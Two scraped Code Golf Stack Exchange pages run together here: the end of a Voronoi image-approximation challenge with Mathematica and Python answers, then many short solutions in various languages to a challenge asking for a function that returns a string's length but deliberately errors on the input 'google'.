[![](https://i.stack.imgur.com/TvPHw.jpg)](https://i.stack.imgur.com/5tzSr.png)\n[![](https://i.stack.imgur.com/K0A8o.jpg)](https://i.stack.imgur.com/4Y6CK.png) [![](https://i.stack.imgur.com/uA3ms.jpg)](https://i.stack.imgur.com/8cuCD.png) [![](https://i.stack.imgur.com/4wLi7.jpg)](https://i.stack.imgur.com/5UBWa.png) [![](https://i.stack.imgur.com/SJJBa.jpg)](https://i.stack.imgur.com/dSiOg.png)\n[![](https://i.stack.imgur.com/PZfNX.jpg)](https://i.stack.imgur.com/fdUc2.png) [![](https://i.stack.imgur.com/54rfQ.jpg)](https://i.stack.imgur.com/UrXKX.png) [![](https://i.stack.imgur.com/gf771.jpg)](https://i.stack.imgur.com/74Ctw.png) [![](https://i.stack.imgur.com/BZTFs.jpg)](https://i.stack.imgur.com/GzwQe.png)\n[![](https://i.stack.imgur.com/EGYaZ.jpg)](https://i.stack.imgur.com/mJPML.png) [![](https://i.stack.imgur.com/tBNIj.jpg)](https://i.stack.imgur.com/bBe7l.png) [![](https://i.stack.imgur.com/M52H0.jpg)](https://i.stack.imgur.com/TGa8i.png) [![](https://i.stack.imgur.com/KEFXk.jpg)](https://i.stack.imgur.com/uM0ut.png)\n[![](https://i.stack.imgur.com/GQllt.jpg)](https://i.stack.imgur.com/XZNwQ.png) [![](https://i.stack.imgur.com/ccRMW.jpg)](https://i.stack.imgur.com/UfGeL.png) [![](https://i.stack.imgur.com/rgBV3.jpg)](https://i.stack.imgur.com/bEE5g.png) [![](https://i.stack.imgur.com/KvYvX.jpg)](https://i.stack.imgur.com/CLfmi.png)\n[![](https://i.stack.imgur.com/17y4L.jpg)](https://i.stack.imgur.com/p9Zt5.png) [![](https://i.stack.imgur.com/wnv98.jpg)](https://i.stack.imgur.com/xApKb.png) [![](https://i.stack.imgur.com/eZbpq.jpg)](https://i.stack.imgur.com/2HEmS.png) [![](https://i.stack.imgur.com/RT4O7.jpg)](https://i.stack.imgur.com/rhQjr.png)\n[![](https://i.stack.imgur.com/lng5p.jpg)](https://i.stack.imgur.com/BSpbU.png) [![](https://i.stack.imgur.com/OFpPw.jpg)](https://i.stack.imgur.com/3IDfE.png) [![](https://i.stack.imgur.com/XyHRx.jpg)](https://i.stack.imgur.com/qrn8r.png) [![](https://i.stack.imgur.com/hWQiR.jpg)](https://i.stack.imgur.com/Honl0.png)\n[![](https://i.stack.imgur.com/AwwYT.jpg)](https://i.stack.imgur.com/ChI7l.png) [![](https://i.stack.imgur.com/uYTIj.jpg)](https://i.stack.imgur.com/MU285.png) [![](https://i.stack.imgur.com/4f5Iq.jpg)](https://i.stack.imgur.com/LUpop.png) [![](https://i.stack.imgur.com/oWdp7.jpg)](https://i.stack.imgur.com/ObYQM.png)\n[![](https://i.stack.imgur.com/Y6Axx.jpg)](https://i.stack.imgur.com/i3lhD.png) [![](https://i.stack.imgur.com/BkXF8.jpg)](https://i.stack.imgur.com/szbQx.png) [![](https://i.stack.imgur.com/HIWSh.jpg)](https://i.stack.imgur.com/smm9W.png) [![](https://i.stack.imgur.com/2J0ps.jpg)](https://i.stack.imgur.com/RPAyO.png)\n[![](https://i.stack.imgur.com/Vw4ch.jpg)](https://i.stack.imgur.com/25xPI.png) [![](https://i.stack.imgur.com/LEVUt.jpg)](https://i.stack.imgur.com/zPxxp.png) [![](https://i.stack.imgur.com/TCZdD.jpg)](https://i.stack.imgur.com/HX3BY.png) [![](https://i.stack.imgur.com/UTvjL.jpg)](https://i.stack.imgur.com/0Ptil.png)\n[![](https://i.stack.imgur.com/FjxsW.jpg)](https://i.stack.imgur.com/fYnZ8.png) [![](https://i.stack.imgur.com/zwUQb.jpg)](https://i.stack.imgur.com/ktvKx.png) [![](https://i.stack.imgur.com/dotIp.jpg)](https://i.stack.imgur.com/W2uO2.png) [![](https://i.stack.imgur.com/QLCx4.jpg)](https://i.stack.imgur.com/Tdcne.png)\n[![](https://i.stack.imgur.com/zPADs.jpg)](https://i.stack.imgur.com/D0QZK.png) [![](https://i.stack.imgur.com/AhlRI.jpg)](https://i.stack.imgur.com/szv4t.png) [![](https://i.stack.imgur.com/PsOHp.jpg)](https://i.stack.imgur.com/pOxlR.png) [![](https://i.stack.imgur.com/WNYAI.jpg)](https://i.stack.imgur.com/PRdzM.png)\n# Code\n```\nVoronoiImage[img_, nSeeds_, iterations_] := Module[{\n i = img,\n edges = EdgeDetect@img,\n voronoiRegion = Transpose[{{0, 0}, ImageDimensions[img]}],\n seeds, voronoiInitial, voronoiRelaxed\n },\n seeds = RandomChoice[ImageValuePositions[edges, White], nSeeds];\n voronoiInitial = VoronoiMesh[seeds, voronoiRegion];\n voronoiRelaxed = \n Nest[VoronoiMesh[Mean @@@ MeshPrimitives[#, 2], voronoiRegion] &, \n voronoiInitial, iterations];\n Graphics[Table[{RGBColor[ImageValue[img, Mean @@ mp]], mp}, \n {mp,MeshPrimitives[voronoiRelaxed, 2]}]]\n ];\n```\n[Answer]\n# Python + SciPy + emcee\nThe algorithm I've used is the following:\n1. Resize images to a smallish size (~150 pixels)\n2. Make an unsharp-masked image of the maximum channel values (this helps not pick up white regions too strongly).\n3. Take the absolute value.\n4. Choose random points with a probability proportional to this image. This chooses points either side of discontinuities.\n5. Refine the chosen points to lower a cost function. The function is the maximum of the sum of the squared deviations in the channels (again helping bias to solid colours and not only solid white). I've misused Markov Chain Monte Carlo with the emcee module (highly recommended) as an optimiser. The procedure bails out when no new improvement is found after N chain iterations.\nThe algorithm appears to work very well. Unfortunately it can only sensibly run on smallish images. I haven't had time to take the Voronoi points and apply them to the larger images. They could be refined at this point. I could have also run the MCMC for longer to get better minima. The algorithm's weak point is that it is rather expensive. I haven't had time to increase beyond 1000 points and a couple of the 1000 point images are actually still being refined.\n(right click and view image to get a bigger version)\n![Thumbnails for 100, 300 and 1000 points](https://i.stack.imgur.com/MgoDe.png)\nLinks to bigger versions are (100 points), (300 points) and (1000 points)\n```\n#!/usr/bin/env python\nimport glob\nimport os\nimport scipy.misc\nimport scipy.spatial\nimport scipy.signal\nimport numpy as N\nimport numpy.random as NR\nimport emcee\ndef compute_image(pars, rimg, gimg, bimg):\n npts = len(pars) // 2\n x = pars[:npts]\n y = pars[npts:npts*2]\n yw, xw = rimg.shape\n # exit if points are too far away from image, to stop MCMC\n # wandering off\n if(N.any(x > 1.2*xw) or N.any(x < -0.2*xw) or\n N.any(y > 1.2*yw) or N.any(y < -0.2*yw)):\n return None\n # compute tesselation\n xy = N.column_stack( (x, y) )\n tree = scipy.spatial.cKDTree(xy)\n ypts, xpts = N.indices((yw, xw))\n queryxy = N.column_stack((N.ravel(xpts), N.ravel(ypts)))\n dist, idx = tree.query(queryxy)\n idx = idx.reshape(yw, xw)\n ridx = N.ravel(idx)\n # tesselate image\n div = 1./N.clip(N.bincount(ridx), 1, 1e99)\n rav = N.bincount(ridx, weights=N.ravel(rimg)) * div\n gav = N.bincount(ridx, weights=N.ravel(gimg)) * div\n bav = N.bincount(ridx, weights=N.ravel(bimg)) * div\n rout = rav[idx]\n gout = gav[idx]\n bout = bav[idx]\n return rout, gout, bout\ndef compute_fit(pars, img_r, img_g, img_b):\n \"\"\"Return fit statistic for parameters.\"\"\"\n # get model\n retn = compute_image(pars, img_r, img_g, img_b)\n if retn is None:\n return -1e99\n model_r, model_g, model_b = retn\n # maximum squared deviation from one of the chanels\n fit = max( ((img_r-model_r)**2).sum(),\n ((img_g-model_g)**2).sum(),\n ((img_b-model_b)**2).sum() )\n # return fake log probability\n return -fit\ndef convgauss(img, sigma):\n \"\"\"Convolve image with a Gaussian.\"\"\"\n size = 3*sigma\n kern = N.fromfunction(\n lambda y, x: N.exp( -((x-size/2)**2+(y-size/2)**2)/2./sigma ),\n (size, size))\n kern /= kern.sum()\n out = scipy.signal.convolve2d(img.astype(N.float64), kern, mode='same')\n return out\ndef process_image(infilename, outroot, npts):\n img = scipy.misc.imread(infilename)\n img_r = img[:,:,0]\n img_g = img[:,:,1]\n img_b = img[:,:,2]\n # scale down size\n maxdim = max(img_r.shape)\n scale = int(maxdim / 150)\n img_r = img_r[::scale, ::scale]\n img_g = img_g[::scale, ::scale]\n img_b = img_b[::scale, ::scale]\n # make unsharp-masked image of input\n img_tot = N.max((img_r, img_g, img_b), axis=0)\n img1 = convgauss(img_tot, 2)\n img2 = convgauss(img_tot, 32)\n diff = N.abs(img1 - img2)\n diff = diff/diff.max()\n diffi = (diff*255).astype(N.int)\n scipy.misc.imsave(outroot + '_unsharp.png', diffi)\n # create random points with a probability distribution given by\n # the unsharp-masked image\n yw, xw = img_r.shape\n xpars = []\n ypars = []\n while len(xpars) < npts:\n ypar = NR.randint(int(yw*0.02),int(yw*0.98))\n xpar = NR.randint(int(xw*0.02),int(xw*0.98))\n if diff[ypar, xpar] > NR.rand():\n xpars.append(xpar)\n ypars.append(ypar)\n # initial parameters to model\n allpar = N.concatenate( (xpars, ypars) )\n # set up MCMC sampler with parameters close to each other\n nwalkers = npts*5 # needs to be at least 2*number of parameters+2\n pos0 = []\n for i in xrange(nwalkers):\n pos0.append(NR.normal(0,1,allpar.shape)+allpar)\n sampler = emcee.EnsembleSampler(\n nwalkers, len(allpar), compute_fit,\n args=[img_r, img_g, img_b],\n threads=4)\n # sample until we don't find a better fit\n lastmax = -N.inf\n ct = 0\n ct_nobetter = 0\n for result in sampler.sample(pos0, iterations=10000, storechain=False):\n print ct\n pos, lnprob = result[:2]\n maxidx = N.argmax(lnprob)\n if lnprob[maxidx] > lastmax:\n # write image\n lastmax = lnprob[maxidx]\n mimg = compute_image(pos[maxidx], img_r, img_g, img_b)\n out = N.dstack(mimg).astype(N.int32)\n out = N.clip(out, 0, 255)\n scipy.misc.imsave(outroot + '_binned.png', out)\n # save parameters\n N.savetxt(outroot + '_param.dat', scale*pos[maxidx])\n ct_nobetter = 0\n print(lastmax)\n ct += 1\n ct_nobetter += 1\n if ct_nobetter == 60:\n break\ndef main():\n for npts in 100, 300, 1000:\n for infile in sorted(glob.glob(os.path.join('images', '*'))):\n print infile\n outroot = '%s/%s_%i' % (\n 'outdir',\n os.path.splitext(os.path.basename(infile))[0], npts)\n # race condition!\n lock = outroot + '.lock'\n if os.path.exists(lock):\n continue\n with open(lock, 'w') as f:\n pass\n process_image(infile, outroot, npts)\nif __name__ == '__main__':\n main()\n```\nUnsharped-masked images look like the following. Random points are selected from the image if a random number is less than the value of the image (normed to 1):\n![Unsharped masked Saturn image](https://i.stack.imgur.com/hhEOd.png)\nI'll post bigger images and the Voronoi points if I get more time.\nEdit: If you increase the number of walkers to 100\\*npts, change the cost function to be some of the squares of the deviations in all channels, and wait for a long time (increasing the number of iterations to break out of the loop to 200), it's possible to make some good images with just 100 points:\n![Image 11, 100 points](https://i.stack.imgur.com/DccKW.png)\n![Image 2, 100 points](https://i.stack.imgur.com/23zg5.png)\n![Image 4, 100 points](https://i.stack.imgur.com/fIdOW.png)\n![Image 10, 100 points](https://i.stack.imgur.com/M265O.png)\n[Answer]\n## Using image energy as a point-weight map\nIn my approach to this challenge, I wanted a way to map \"relevance\" of a particular image area to the probability that a particular point would be chosen as a Voronoi centroid. However, I still wanted to preserve the artistic feel of Voronoi mosaicing by randomly choosing image points. Additionally, I wanted to operate on large images, so I don't lose anything in the downsampling process. My algorithm is roughly like this: \n1. For each image, create a sharpness map. The sharpness map is defined by the normalized image energy (or the square of the high frequency signal of the image). An example looks like this:\n![Sharpness map](https://i.stack.imgur.com/ESMfns.png)\n2. Generate a number of points from the image, taking 70 percent from the points in the sharpness map and 30 percent from all the other points. This means that points are sampled more densely from high-detail parts of the image.\n3. Color!\n## Results\n`N` = 100, 500, 1000, 3000\n![Image 1, N = 100](https://i.stack.imgur.com/nJ0i4s.png) ![Image 1, N = 500](https://i.stack.imgur.com/4Ril5s.png) ![Image 1, N = 1000](https://i.stack.imgur.com/7pu0fs.png) ![Image 1, N = 3000](https://i.stack.imgur.com/4NQCjs.png)\n![Image 2, N = 100](https://i.stack.imgur.com/FdroH.jpg) ![Image 2, N = 500](https://i.stack.imgur.com/fA2aj.jpg) ![Image 2, N = 1000](https://i.stack.imgur.com/eaDfj.jpg) ![Image 2, N = 3000](https://i.stack.imgur.com/GUuvs.jpg)\n![Image 3, N = 100](https://i.stack.imgur.com/PXVUO.jpg) ![Image 3, N = 500](https://i.stack.imgur.com/ZrLjj.jpg) ![Image 3, N = 1000](https://i.stack.imgur.com/dseCx.jpg) ![Image 3, N = 3000](https://i.stack.imgur.com/jYkD3.jpg)\n![Image 4, N = 100](https://i.stack.imgur.com/kppOf.jpg) ![Image 4, N = 500](https://i.stack.imgur.com/2RX7H.jpg) ![Image 4, N = 1000](https://i.stack.imgur.com/oAv9a.jpg) ![Image 4, N = 3000](https://i.stack.imgur.com/Egmym.jpg)\n![Image 5, N = 100](https://i.stack.imgur.com/9a42s.jpg) ![Image 5, N = 500](https://i.stack.imgur.com/Mz4SW.jpg) ![Image 5, N = 1000](https://i.stack.imgur.com/YrJC4.jpg) ![Image 5, N = 3000](https://i.stack.imgur.com/kxtPW.jpg)\n![Image 6, N = 100](https://i.stack.imgur.com/OVtjw.jpg) ![Image 6, N = 500](https://i.stack.imgur.com/CVtPS.jpg) ![Image 6, N = 1000](https://i.stack.imgur.com/DDKzI.jpg) ![Image 6, N = 3000](https://i.stack.imgur.com/FL125.jpg)\n![Image 7, N = 100](https://i.stack.imgur.com/2Fv9g.jpg) ![Image 7, N = 500](https://i.stack.imgur.com/8xbsQ.jpg) ![Image 7, N = 1000](https://i.stack.imgur.com/jL71o.jpg) ![Image 7, N = 3000](https://i.stack.imgur.com/nfazb.jpg)\n![Image 8, N = 100](https://i.stack.imgur.com/lph5N.jpg) ![Image 8, N = 500](https://i.stack.imgur.com/NDSIO.jpg) ![Image 8, N = 1000](https://i.stack.imgur.com/0yshf.jpg) ![Image 8, N = 3000](https://i.stack.imgur.com/fMji0.jpg)\n![Image 9, N = 100](https://i.stack.imgur.com/lJgFy.jpg) ![Image 9, N = 500](https://i.stack.imgur.com/TyCMf.jpg) ![Image 9, N = 1000](https://i.stack.imgur.com/Oiib1.jpg) ![Image 9, N = 3000](https://i.stack.imgur.com/lz4oj.jpg)\n![Image 10, N = 100](https://i.stack.imgur.com/ti4Ya.jpg) ![Image 10, N = 500](https://i.stack.imgur.com/kAZ5Q.jpg) ![Image 10, N = 1000](https://i.stack.imgur.com/35zQc.jpg) ![Image 10, N = 3000](https://i.stack.imgur.com/8vrQ7.jpg)\n![Image 11, N = 100](https://i.stack.imgur.com/1ezph.jpg) ![Image 11, N = 500](https://i.stack.imgur.com/ZpH59.jpg) ![Image 11, N = 1000](https://i.stack.imgur.com/VFthR.jpg) ![Image 11, N = 3000](https://i.stack.imgur.com/dPgq0.jpg)\n![Image 12, N = 100](https://i.stack.imgur.com/jTrOY.jpg) ![Image 12, N = 500](https://i.stack.imgur.com/yI4AI.jpg) ![Image 12, N = 1000](https://i.stack.imgur.com/hWbe9.jpg) ![Image 12, N = 3000](https://i.stack.imgur.com/mSXa2.jpg)\n![Image 13, N = 100](https://i.stack.imgur.com/57y5r.jpg) ![Image 13, N = 500](https://i.stack.imgur.com/5IUa5.jpg) ![Image 13, N = 1000](https://i.stack.imgur.com/PyLc0.jpg) ![Image 13, N = 3000](https://i.stack.imgur.com/jKYZQ.jpg)\n![Image 14, N = 100](https://i.stack.imgur.com/BSoLQ.jpg) ![Image 14, N = 500](https://i.stack.imgur.com/5NXNL.jpg) ![Image 14, N = 1000](https://i.stack.imgur.com/BVm9r.jpg) ![Image 14, N = 3000](https://i.stack.imgur.com/yNV1i.jpg)\n]"}}},{"rowIdx":46,"cells":{"text":{"kind":"string","value":"[Question]\n [\nWe all know that if you google the word \"google\" it will break the internet.\nYour task is to create a function that accepts one string and returns its length, in the fewest possible Unicode characters.\nHowever, if the given string is `google` (lowercase), it will cause an error.\nFor example, `g('bing')` will return `4` but `g('google')` will cause an error.\nPlease provide an example of usage, and the error if possible.\n \n[Answer]\n## Python 2, 29\n```\nlambda x:len(x)/(x!='google')\n```\nGives a `ZeroDivisionError` on `\"google\"`, and the length otherwise. This takes advantage of Python's booleans equaling `0` and `1`.\n[Answer]\n# Excel, 23 characters\nPaste this into a cell other than A1 and type your search query into A1.\n```\n=LEN(A1)/(A1<>\"google\")\n```\nFor example:\n[![GoogleGoogle](https://i.stack.imgur.com/TseqO.png)](https://i.stack.imgur.com/TseqO.png)\n[Answer]\n# C#, 43 bytes\nAn improvement over Salah Alami's answer. Recurses to throw a stack overflow exception on providing \"google\"\n```\nint g(string s)=>s!=\"google\"?s.Length:g(s);\n```\n[Answer]\n# Pyth, ~~14~~ 13 characters\n```\nL/lbnb\"google\n```\nDefines a named function `y`.\nThis divides the length by 1 if the string is not *google* and by 0 otherwise. The idea is not novel, but I came up with it independently.\n[Try it online.](https://pyth.herokuapp.com/?code=L%2Flbnb\"google\"%0Ayz&input=google)\n### How it works\n```\nL Define y(b):\n lb Compute len(b).\n nb\"google Compute (b != \"google\").\n / Set _ = len(b) / (b != \"google\").\n Return _. (implicit)\n```\n[Answer]\n# MATLAB, ~~63~~ ~~41~~ ~~40~~ ~~38~~ 36 bytes\n## Thanks to Tom Carpenter for shaving off 1 byte!\n## Thanks to Stewie Griffin for shaving off 2 bytes!\n```\n@(x)nnz(x(+~strcmp('google',x):end))\n```\nUnlike the other more elegant solutions, performing a division by zero operation in MATLAB will not give an error, but rather `Inf`. This solution finds the length of the string by `nnz`. The string that is produced is in such a way that you index from the beginning of the string to the end, which is essentially a copy of the string. However, what is important is that the beginning of where to access the string is produced by checking whether or not the input is equal to `'google'`. If it isn't, this produces a beginning index of 1 and we index into the string normally... as MATLAB starts indexing at 1. Should it be equal, the index produced is 0 and MATLAB will throw an indexing error stating that the index needs to be a positive integer. The extra `+` is to ensure that the output of the equality check is numerical rather than Boolean/`logical`. Omitting the `+` will produce a warning, but because this challenge's specifications doesn't allow for warnings, the `+` is required... thus completing the code.\n# Example uses\n```\n>> f=@(x)nnz(x(+~strcmp('google',x):end)) %// Declare anonymous function\nf = \n @(x)nnz(x(+~strcmp('google',x):end))\n>> f('bing')\nans =\n 4\n>> f('google')\nSubscript indices must either be real positive integers or logicals.\nError in @(x)nnz(x(+~strcmp('google',x):end))\n```\n---\n# A more fun version, ~~83~~ ~~77~~ ~~76~~ ~~74~~ 72 bytes\n## Thanks to Tom Carpenter for shaving off 1 byte!\n## Thanks to Stewie Griffin for shaving off 2 bytes!\n```\n@(x)eval('if strcmp(''google'',x),web([x ''.com/i'']);else nnz(x),end');\n```\nThe above isn't an official submission, but it's something that's a bit more fun to run. Abusing `eval` within anonymous functions, what the code does is that it checks to see if the input string is equal to `'google'`... and if it is, this will open up MATLAB's built-in web browser and shows Google's 404 error page trying to access the subpage located at `i` when that doesn't exist. If not, we display the length of the string normally.\n# Example uses\n```\n>> f=@(x)eval('if strcmp(''google'',x),web([x ''.com/i'']);else nnz(x),end'); %// Declare anonymous function\n>> f('bing')\nans =\n 4\n>> f('google')\n>> \n```\nThe last call using `'google'` gives us this screen:\n[![enter image description here](https://i.stack.imgur.com/qrUWW.png)](https://i.stack.imgur.com/qrUWW.png)\n[Answer]\n# JavaScript ES6, ~~34~~ ~~27~~ 25 characters\n```\nf=>f=='google'?Δ:f.length\n```\nThrows a ReferenceError on `Δ` for google.\n```\nalert((f=>f=='google'?Δ:f.length)('test'))\n```\n[Answer]\n# TI-BASIC, 15 bytes\nHeck, while [we're at it](https://codegolf.stackexchange.com/questions/58891/dont-google-google#comment141887_58895), might as well get a TI-BASIC answer in here.\nInput format is `\"string\":prgmNAME`. Credit to [Thomas Kwa](https://codegolf.stackexchange.com/users/39328/thomas-kwa) for finding it first!\n```\nlength(Ans)+log(Ans≠\"GOOGLE\n```\n(Guide: add 1 byte for each lowercase letter replacing an upper-case one. So `s/GOOGLE/google/g => +6 bytes`.)\n### ahhhhh test cases!\n```\n\"GOGGLE\":prgmG\n 6\n\"BING\":prgmG\n 4\n\"GOOGLE\":prgmG\n Error\n```\n[Answer]\n# Python 3, 30 bytes\n```\nlambda u:[len][u=='google'](u)\n```\nIndexes the 1-element function list, raising an `IndexError` if the `u=='google'` predicate is `True` (= 1). Such functional.\nMuch variants. Wow:\n```\nlambda u:[len(u)][u=='google']\nlambda u:len([u][u=='google'])\n```\n> \n> If the challenge was inverted (error on everything *not* \"google\"), could save a char:\n> \n> \n> \n> ```\n> lambda u:{'google':len}[u](u)\n> \n> ```\n> \n> But you already know the length, so just hardcode it.\n> \n> \n> \n[Answer]\n# APL (14)\n```\n(⍴÷'google'∘≢)\n```\nExplanation:\n* `⍴`: length\n* `÷`: divided by\n* `'google'∘≢`: argument is not equal to `'google'`.\n`⍴` gives the length of the string, which is divided by 1 if the string does not equal `google` (which gives the length back unchanged), or by 0 if the string *does* equal `google` (giving an error).\n[Answer]\n## Haskell, 24 bytes\n`g s|s/=\"google\"=length s`\nOutput:\n```\nMain> g \"google\"\nProgram error: pattern match failure: g \"google\"\nMain> g \"bing\"\n4\n```\n[Answer]\n# Octave, 63 bytes\nI know it is longer than the Matlab solution (which would work in Octave too), but it is particularly evil. I am making an anonymous function (evil) using cell array (evil) literals (evil) containing function handles dependent on a callback function (itself, thus recursive, evil) that must be passed via argument. Then I create another anonymous that basically reduces the function to the string argument and fixes the second argument of `f` as `f` (very evil). Any sane human would never do this, because it is almost as unreadable as Perl or regex (or cjam/pyth/any other esolang).\nSo if the string is not 'google' the second argument of the cell array will be called which outputs the length of the string. Otherwise the first function will be called, which is passed as a callback (and passes itself as callback to itself too) which later is the function itself. The error is basically some maximum recursion depth error.\n```\nf=@(s,f){@()f(s,f),numel(s)}{2-strcmp(s,'google')}();@(s)f(s,f)\n```\n[Answer]\n# CJam, 16 characters\n```\n{_,\\\"google\"=!/}\n```\nThis divides the length by 1 if the string is not *google* and by 0 otherwise. The idea is not novel, but I came up with it independently.\n[Try it online.](http://cjam.aditsu.net/#code=q%20e%23%20Read%20input%20from%20STDIN.%0A%0A%7B_%2C%5C%22google%22%3D!%2F%7D%0A%0A~%20e%23%20Execute%20the%20function.&input=google)\n### How it works\n```\n_ Push a copy of the string on the stack.\n , Compute the length of the copy.\n \\ Swap the length and the original string.\n \"google\"= Push 1 if the string is \"google\", 0 otherwise.\n ! Apply logical NOT. Maps 1 to 0 and 0 to 1.\n / Divide the length by the Boolean.\n```\n[Answer]\n# APL, ~~19~~ 17 bytes\n```\n{⍵≡'google':⍟⋄≢⍵}\n```\nThis is an unnamed monadic function that will throw a syntax error if the input is `google`. This is accomplished by attempting to take the natural logarithm of nothing.\n```\n{\n ⍵≡'google': ⍝ If the right argument is \"google\"...\n ⍟⋄ ⍝ Compute log(), which brings only sadness\n ≢⍵ ⍝ Otherwise compute the length\n}\n```\n[Try it online](http://tryapl.org/?a=%7B%u2375%u2261%27google%27%3A%u235F%u22C4%u2262%u2375%7D%27bing%27%u22C4%7B%u2375%u2261%27google%27%3A%u235F%u22C4%u2262%u2375%7D%27google%27&run)\nSaved two bytes thanks to Dennis!\n[Answer]\n# JavaScript, 25 Bytes\nNice and simple JavaScript example:\n```\ne=>e!='google'?e.length:g\n```\nIf \"google\" is entered then it passes a `ReferenceError`\nExample\n```\nalert((e=>e!='google'?e.length:g)('test'))\n```\n[Answer]\n# R, 46 bytes\n```\ng=function(x)ifelse(x!=\"google\",nchar(x),)\n```\nUnless I'm misreading, the original post never specified that the code had to be correct syntax.\nExample:\n```\n> g(\"bing\")\n[1] 4\n> g(\"google\")\nError in ifelse(x != \"google\", nchar(x), ) : \n argument \"no\" is missing, with no default\n```\nI never added anything for the \"no\" parameter of the ifelse statement so it will return an error if this parameter is evoked.\n[Answer]\n# Perl, ~~31~~ 29 bytes\n```\nsub{$_=pop;y///c/!/^google$/}\n```\n-2b thanks to manatwork\nUsage:\n```\nsub{$_=pop;y///c/!/^google$/}->(\"google\")\n```\n---\nIf I could get away with a program rather than a function, the following would be valid with only 20 bytes (+1 byte command line)\n```\n$_=y///c/!/^google$/\n```\nError is division by zero.\nExplanation:\n`y///c` returns the length, then `!/^google$/` will return 0 iff input matches 'google'.\nUsage:\n```\nperl -p entry.pl input.txt\n```\n[Answer]\n# Java 7:~~53~~ 52 Bytes\n```\nint g(String _){return\"google\"==_?0/0:_.length();} \n```\nAbove code will throw `ArithmeticException` for division by zero and for any `String` other than `google`. Worth to note that `==` compares reference and won't work for `String` Objects.\n# Java 8 : 29 Bytes\n(Based on suggestion given in below comment)\n```\ns->s==\"google\"?0/0:s.length()\n```\n[Answer]\n## Haskell - 30 characters\n```\ng\"google\"=error\"!\";g s=length s\n>g \"google\"\n *Exception: !\n>g \"str\"\n 3\n```\n[Answer]\n# Python 3, 35 bytes\n```\nlambda n:len(n)if n!='google'else d\n```\n[Answer]\n# C++11, 54 (code) + 14 (#include) = 68\nWell, division by zero is just undefined behaviour, which I would not call an error. So my approach.\n```\n#include\n[](std::string s){return s!=\"google\"?s.size():throw;};\n```\nusage\n```\n[](std::string s){return s!=\"google\"?s.size():throw;}(\"google\");\n```\n[Answer]\n**C, 66 48**\n*Original:*\n```\nint l(long*s){return strlen(s)/((*s&~(-1L<<56))!=0x656c676f6f67);}\n```\nUsing OSX gcc, \n`l(\"duck\");` returns `4`, \n`l(\"google\");` causes `Floating point exception: 8`. \nOn other platforms, the constants may need to be adjusted for endianness.\n*Shorter*:\nless trickyness, same results.\n```\n l(int*s){return strlen(s)/!!strcmp(s,\"Google\");}\n```\n[Answer]\n# Ruby, 29 bytes\nI first came up with something very similar to @Borsunho's first attempt, but mine was slightly longer and he posted his before I was done. Came up with this before his 30 bytes edit :)\n```\n->s{s[/^(?!google$).*/].size}\n```\nUsage examples:\n```\n$ irb\n2.2.1 :001 > f = ->s{s[/^(?!google$).*/].size}\n => # \n2.2.1 :002 > f[\"\"]\n => 0 \n2.2.1 :003 > f[\"bing\"]\n => 4 \n2.2.1 :004 > f[\"google\"]\nNoMethodError: undefined method `size' for nil:NilClass\n from (irb):1:in `block in irb_binding'\n from (irb):4:in `[]'\n from (irb):4\n from /Users/daniel/.rvm/rubies/ruby-2.2.1/bin/irb:11:in `
'\n```\n---\nedit: Two years and some Ruby versions later\n# [Ruby](https://www.ruby-lang.org/), 25 bytes\n```\n->s{+s[/^(?!google$).*/]}\n```\nReplaced `String#size` with the new unary plus. [Try it online!](https://tio.run/##KypNqvyfZvtf1664Wrs4Wj9Ow14xPT8/PSdVRVNPSz@29n@BQlq0UkZqpVIsF5gJkVWK/Q8A \"Ruby – Try It Online\")\n[Answer]\n# MUMPS, 28 bytes\n```\ng(s) q $S(s'=\"google\":$L(s))\n```\nUsage:\n```\n>w $$g^MYROUTINE(\"bing\") \n4\n>w $$g^MYROUTINE(\"google\")\n`.\n[Answer]\n# JavaScript, 47 bytes\nNice and simple.\n***Edit:*** Now complies with the rules\n```\nfunction f(g){if(g==\"google\")a;return g.length}\n```\n## Testing\n### Error thrown\n```\nfunction f(g){if(g==\"google\")a;return g.length}\nalert(f(\"Hello\"))\nalert(f(\"google\"))\nalert(f(\"hi\"))\n```\n### No error thrown\n```\nfunction f(g){if(g==\"google\")a;return g.length}\nalert(f(\"Hello\"))\nalert(f(\"bing\"))\nalert(f(\"hi\"))\n```\n[Answer]\n# Ruby, ~~34~~ ~~30~~ ~~27~~ 26\n```\n->x{x=='google'?t: x.size}\n```\nUnknown `t` raises exception.\n```\n->x{x=='google'?fail():x.size}\n```\nEdit: totally readable and obvious version that is shorter...\n```\n->x{x[x=~/^(?!google$)/..-1].size}\n```\nOld: Pretty similar to other ideas it seems. Will raise `ArgumentError` if x is 'google'.\n[Answer]\n# C - ~~99 75 67~~ 63 bytes\n```\ng(char*s){int i=0,j=*s;while(s[i])j^=s[++i];return j^9?i:g(s);}\n```\n## Ungolfed:\n```\nint g(char *s){\n int i = 0,\n j = s[0]; // first char of s\n while(s[i] != '\\0'){\n j ^= s[++i]; // j = j XOR [next char]\n }\n if(j != 9){ // g^o^o^g^l^e = 9\n return i;\n } else {\n g(s); // infinite recursion\n }\n}\n```\nUsing it:\n```\ng(\"bing\") // 4\ng(\"duckduckgo\") // 10\ng(\"google\") // segmentation fault\n```\nWill return the length if `g XOR o XOR o XOR g XOR l XOR e` isn't `9`, else it will infinite recurse causing a stack overflow.\n## How it works\nI used a (very) crappy hashing algorithm (`a XOR b XOR c ...`) to get a single number from the first six chars of the string. Collision likelyhood is very high, but if we assume the string has to be the name of an actual search engine, then the collision likelyhood is fairly low.\nSo, first we have `i`, which iterates through the string until `s[i]` is `NUL` (0), and while counting the length of the string, the selected char is XOR'd onto `j`, which is initialized to the first char in s. For \"google\", the result of this operation is 9.\nThe main thing this takes advantage of is the way pointers work in C. A pointer is actually a large number that denotes an address in memory, `&var` will return a pointer to `var`, while `*var` will dereference a pointer (grab the value at that address). Thus, `*s` is equivalent to `s[0]`. I think this is where most beginners get lost, confused and frustrated when it comes to C, like when you try to send a `struct *` to a function that takes `struct *` by sending `&struct_ptr`, which would be a memory address to a memory address, effectively making the compiler give an error such as `function expects 'struct *' but got 'struct **'`.\n[Answer]\n# Windows Batch, 118 characters\n```\nIF /I \"%string%\"==\"google\" exit\necho %string%> string.txt\nfor %%? in (string.txt) do ( SET /A stringlength=%%~z? - 2 )\n```\nOutput is %stringlength%.\nFull code:\n```\n@echo off\ndel string.txt\ncls\necho Type your string\necho.\nset /p string=String:\nIF /I \"%string%\"==\"google\" goto err\necho %string%> string.txt\nfor %%? in (string.txt) do ( SET /A stringlength=%%~z? - 2 )\ncls\necho %stringlength%\npause\ndel string.txt\n:err\ncolor c\necho There seems to be an error with your input...\npause>nul\n```\nModified from Joshua Honig's answer, 